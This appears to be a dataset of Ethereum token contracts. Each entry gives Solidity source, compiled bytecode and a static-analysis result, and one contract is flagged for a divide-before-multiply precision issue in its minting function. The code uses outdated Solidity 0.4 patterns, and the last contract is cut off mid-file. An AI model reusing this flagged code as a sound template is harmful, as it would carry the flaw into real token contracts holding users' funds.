balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract StarTokenInterface is MintableToken { // Cheatsheet of inherit methods and events // function transferOwnership(address newOwner); // function allowance(address owner, address spender) constant returns (uint256); // function transfer(address _to, uint256 _value) returns (bool); // function transferFrom(address from, address to, uint256 value) returns (bool); // function approve(address spender, uint256 value) returns (bool); // function increaseApproval (address _spender, uint _addedValue) returns (bool success); // function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success); // function finishMinting() returns (bool); // function mint(address _to, uint256 _amount) returns (bool); // event Approval(address indexed owner, address indexed spender, uint256 value); // event Mint(address indexed to, uint256 amount); // event MintFinished(); // Custom methods and events function toggleTransfer() returns (bool); function toggleTransferFor(address _for) returns (bool); event ToggleTransferAllowance(bool state); event ToggleTransferAllowanceFor(address indexed who, bool state); } contract AceToken is StarTokenInterface { using SafeMath for uint; using SafeMath for uint256; // ERC20 constants string public constant name = "ACE Token"; string public constant symbol = "ACE"; uint public constant decimals = 0; // Minting constants uint256 public constant MAXSOLD_SUPPLY = 99000000; uint256 public constant HARDCAPPED_SUPPLY = 165000000; bool public transferAllowed = false; mapping (address=>bool) public specialAllowed; event ToggleTransferAllowance(bool state); event ToggleTransferAllowanceFor(address indexed who, bool state); modifier allowTransfer() { require(transferAllowed || specialAllowed[msg.sender]); _; } /** * @dev transfer token for a specified address if transfer is open * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) allowTransfer returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another if transfer is open * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) allowTransfer returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Change current state of transfer allowence to opposite */ function toggleTransfer() onlyOwner returns (bool) { transferAllowed = !transferAllowed; ToggleTransferAllowance(transferAllowed); return transferAllowed; } /** * @dev allow transfer for the given address against global rules * @param _for addres The address of special allowed transfer (required for smart contracts) */ function toggleTransferFor(address _for) onlyOwner returns (bool) { specialAllowed[_for] = !specialAllowed[_for]; ToggleTransferAllowanceFor(_for, specialAllowed[_for]); return specialAllowed[_for]; } /** * @dev Function to mint tokens for investor * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to emit. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { require(_amount > 0); // create 2 extra token for each 3 sold uint256 extra = _amount.div(3).mul(2); uint256 total = _amount.add(extra); totalSupply = totalSupply.add(total); // Prevent to emit more than handcap! assert(totalSupply <= HARDCAPPED_SUPPLY); balances[_to] = balances[_to].add(_amount); balances[owner] = balances[owner].add(extra); Mint(_to, _amount); Mint(owner, extra); Transfer(0x0, _to, _amount); Transfer(0x0, owner, extra); return true; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x606060405236156101255763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012a57806306fdde0314610151578063095ea7b3146101dc57806317d286201461021257806318160ddd146102455780632395e9b61461026a57806323b872dd1461029d578063313ce567146102d957806334fec467146102fe57806340c10f19146103255780634ab798f11461035b57806366188463146103825780636e349188146103b857806370a08231146103dd5780637d64bcb41461040e5780638da5cb5b1461043557806395d89b4114610464578063a9059cbb146104ef578063d73dd62314610525578063dd62ed3e1461055b578063f2fde38b14610592578063f344f4fa146105b3575b600080fd5b341561013557600080fd5b61013d6105d8565b604051901515815260200160405180910390f35b341561015c57600080fd5b6101646105f9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a15780820151818401525b602001610188565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b61013d600160a060020a0360043516602435610630565b604051901515815260200160405180910390f35b341561021d57600080fd5b61013d600160a060020a03600435166106d7565b604051901515815260200160405180910390f35b341561025057600080fd5b61025861077b565b60405190815260200160405180910390f35b341561027557600080fd5b61013d600160a060020a0360043516610781565b604051901515815260200160405180910390f35b34156102a857600080fd5b61013d600160a060020a0360043581169060243516604435610796565b604051901515815260200160405180910390f35b34156102e457600080fd5b6102586107ea565b60405190815260200160405180910390f35b341561030957600080fd5b61013d6107ef565b604051901515815260200160405180910390f35b341561033057600080fd5b61013d600160a060020a03600435166024356107ff565b604051901515815260200160405180910390f35b341561036657600080fd5b61013d610a16565b604051901515815260200160405180910390f35b341561038d57600080fd5b61013d600160a060020a0360043516602435610ab7565b604051901515815260200160405180910390f35b34156103c357600080fd5b610258610bb3565b60405190815260200160405180910390f35b34156103e857600080fd5b610258600160a060020a0360043516610bbb565b60405190815260200160405180910390f35b341561041957600080fd5b61013d610bda565b604051901515815260200160405180910390f35b341561044057600080fd5b610448610c61565b604051600160a060020a03909116815260200160405180910390f35b341561046f57600080fd5b610164610c70565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a15780820151818401525b602001610188565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104fa57600080fd5b61013d600160a060020a0360043516602435610ca7565b604051901515815260200160405180910390f35b341561053057600080fd5b61013d600160a060020a0360043516602435610cf9565b604051901515815260200160405180910390f35b341561056657600080fd5b610258600160a060020a0360043581169060243516610d9e565b60405190815260200160405180910390f35b341561059d57600080fd5b6105b1600160a060020a0360043516610dcb565b005b34156105be57600080fd5b610258610e23565b60405190815260200160405180910390f35b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600981527f41434520546f6b656e0000000000000000000000000000000000000000000000602082015281565b60008115806106625750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561066d57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60035460009033600160a060020a039081169116146106f557600080fd5b600160a060020a03821660008181526004602052604090819020805460ff19811660ff9182161517918290557f0e3be37de3a6671de0615d261214611985deeff6c0bb8a344ee0d6adca8542009291169051901515815260200160405180910390a250600160a060020a03811660009081526004602052604090205460ff165b5b919050565b60005481565b60046020526000908152604090205460ff1681565b60035460009060a860020a900460ff16806107c95750600160a060020a03331660009081526004602052604090205460ff165b15156107d457600080fd5b6107df848484610e2b565b90505b5b9392505050565b600081565b60035460a860020a900460ff1681565b6003546000908190819033600160a060020a0390811691161461082157600080fd5b60035474010000000000000000000000000000000000000000900460ff161561084957600080fd5b6000841161085657600080fd5b610878600261086c86600363ffffffff610f2e16565b9063ffffffff610f4a16565b915061088a848363ffffffff610f7916565b6000549091506108a0908263ffffffff610f7916565b60008190556309d5b3409011156108b357fe5b600160a060020a0385166000908152600160205260409020546108dc908563ffffffff610f7916565b600160a060020a038087166000908152600160205260408082209390935560035490911681522054610914908363ffffffff610f7916565b600354600160a060020a0390811660009081526001602052604090819020929092558616907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859086905190815260200160405180910390a2600354600160a060020a03167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858360405190815260200160405180910390a284600160a060020a031660006000805160206110598339815191528660405190815260200160405180910390a3600354600160a060020a031660006000805160206110598339815191528460405190815260200160405180910390a3600192505b5b5b505092915050565b60035460009033600160a060020a03908116911614610a3457600080fd5b6003805460ff60a860020a808304821615810275ff0000000000000000000000000000000000000000001990931692909217928390557ff900592a77a3fc7d9e10afc446a9a561f13139aa4500db01207b92198e2fa49e929190910416604051901515815260200160405180910390a15060035460a860020a900460ff165b5b90565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610b1457600160a060020a033381166000908152600260209081526040808320938816835292905290812055610b4b565b610b24818463ffffffff610f9316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b6305e69ec081565b600160a060020a0381166000908152600160205260409020545b919050565b60035460009033600160a060020a03908116911614610bf857600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600354600160a060020a031681565b60408051908101604052600381527f4143450000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff1680610cda5750600160a060020a03331660009081526004602052604090205460ff165b1515610ce557600080fd5b610cef8383610faa565b90505b5b92915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d31908363ffffffff610f7916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a03908116911614610de657600080fd5b600160a060020a03811615610e1e576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b6309d5b34081565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610e72908463ffffffff610f7916565b600160a060020a038086166000908152600160205260408082209390935590871681522054610ea7908463ffffffff610f9316565b600160a060020a038616600090815260016020526040902055610ed0818463ffffffff610f9316565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616916000805160206110598339815191529086905190815260200160405180910390a3600191505b509392505050565b6000808284811515610f3c57fe5b0490508091505b5092915050565b6000828202831580610f665750828482811515610f6357fe5b04145b1515610f6e57fe5b8091505b5092915050565b600082820183811015610f6e57fe5b8091505b5092915050565b600082821115610f9f57fe5b508082035b92915050565b600160a060020a033316600090815260016020526040812054610fd3908363ffffffff610f9316565b600160a060020a033381166000908152600160205260408082209390935590851681522054611008908363ffffffff610f7916565b600160a060020a0380851660008181526001602052604090819020939093559133909116906000805160206110598339815191529085905190815260200160405180910390a35060015b929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203b9950852a445178f156ffe3dcf45cbd7be456e898551fc937f2ea3d6eaaaa970029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,436
0x434459a7c37e11d80c815469ba422bdee31d41fa
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract DECEX is BurnableToken, Ownable { string public constant name = "DECEX"; string public constant symbol = "DCX"; uint public constant decimals = 8; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals)); // Constructors function DECEX () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f3565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbc565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4d565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef5565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110cb565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b6040805190810160405280600581526020017f444543455800000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a64174876e8000281565b60008082111515610a0357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5157600080fd5b339050610aa682600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afe826000546114a690919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d61565b610ce083826114a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f444358000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3257600080fd5b610f8482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b457fe5b818303905092915050565b60008082840190508381101515156114d357fe5b80915050929150505600a165627a7a72305820ddc9ec6ed1bed6a26cd2854360887b8382b7313fb865ed5f7a27ca531ed450810029
{"success": true, "error": null, "results": {}}
7,437
0xb698de572df90b26564594383fc2a5df2b9fb1e0
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by 